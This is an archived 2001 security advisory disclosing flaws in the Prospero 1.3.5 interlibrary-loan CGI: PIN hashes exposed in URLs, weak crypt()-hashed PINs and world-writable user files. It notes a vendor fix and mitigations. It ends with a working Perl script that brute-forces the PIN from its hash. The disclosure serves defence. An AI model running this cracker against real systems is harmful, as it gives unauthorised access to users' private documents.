OSEC

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From: darky0daHUSHMAIL.COM
Date: Thu Feb 01 2001 - 14:10:17 CST

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    _=_ Warped Force Advisory _=_

    Author: darkyoda <darky0dahushmail.com>
    Subject: Multiple vulnerabilities in Prospero 1.3.5 CGI
    Discovered: 12.15.00
    Announced: 2.1.01
    Vendor Status: Maintainer notified 12.27.00. New version released.
                            Current version is 1.3.7
    Platforms: Any web server capable of running CGI scripts; this
                            includes UNIX and Windows platforms (Apache, IIS, etc.)
    Product Homepage : http://bones.med.ohio-state.edu/prospero/

    Blurb: "Prospero is a Web-based document delivery system designed as
                            a complement to the Ariel ® software system. Ariel is a
    product of the
                            Research Libraries Group (RLG) which allows libraries to
    use the
                            Internet to exchange documents through interlibrary loan."

    Problem: Client-side Prospero generates a random 3 or 4 digit PIN that
                    users enter into a web-based form that grants them access to
                    documents requested through interlibrary loan. Because the form
                    uses the GET method, the encrypted PIN is visible in the
                    browser. A perusal of login.pl reveals that the Perl crypt() method
                    is used to encrypt the PIN. It is trivial for an attacker to
                    determine the PIN by brute-force methods; this would allow access to
                    user documents, allowing malicious users to delete them arbitrarily
                    or to determine the subject of a user's research.

                    In addition, login.pl uses 0666 permissions on log and manifest
                    files. The manifest file is the user database containing PINs and
                    usernames. Non-prospero users can modify/delete entries in
                     this file as they please.

    Solution: Upgrade to the latest version 1.3.7.
                    Note that I have not reviewed the source of this latest version.
                    Clients who cannot upgrade should change the file permissions in
                    login.pl to 0660 and consider using complex alphanumeric PINs
                    in lieu of the ones generated by Prospero. Note that this will
                    only slow an attacker, as the hash could still be brute-forced
                    by an industrial password cracker, ala John the Ripper.

    Shouts: Gyves, sysdaemon, 2600 (I forgive you for not publishing my
                    article), others. Eric Schnell (maintainer) for having
                    a good attitude.

    Exploit:

    #!/usr/bin/perl
    #
    # crack for prospero PINs
    # dY 12.15.00
    #
    printf("Enter encrypted PIN: ");
    chop($passwd = <STDIN>);

    $salt = substr($passwd,0,2);
    $epin = substr($passwd,2,99);

    $lowval = 0;
    $highval = 9999;

    for ($i = $lowval; $i <= $highval; $i++) {
            if (crypt($i, $salt) eq $passwd) {
                    print("***Unencrypted PIN is: $i\n");
                    exit(0);
                    }
            }
    printf("Sorry, couldn't crack it. Try something > $highval.\n");
    exit(0);

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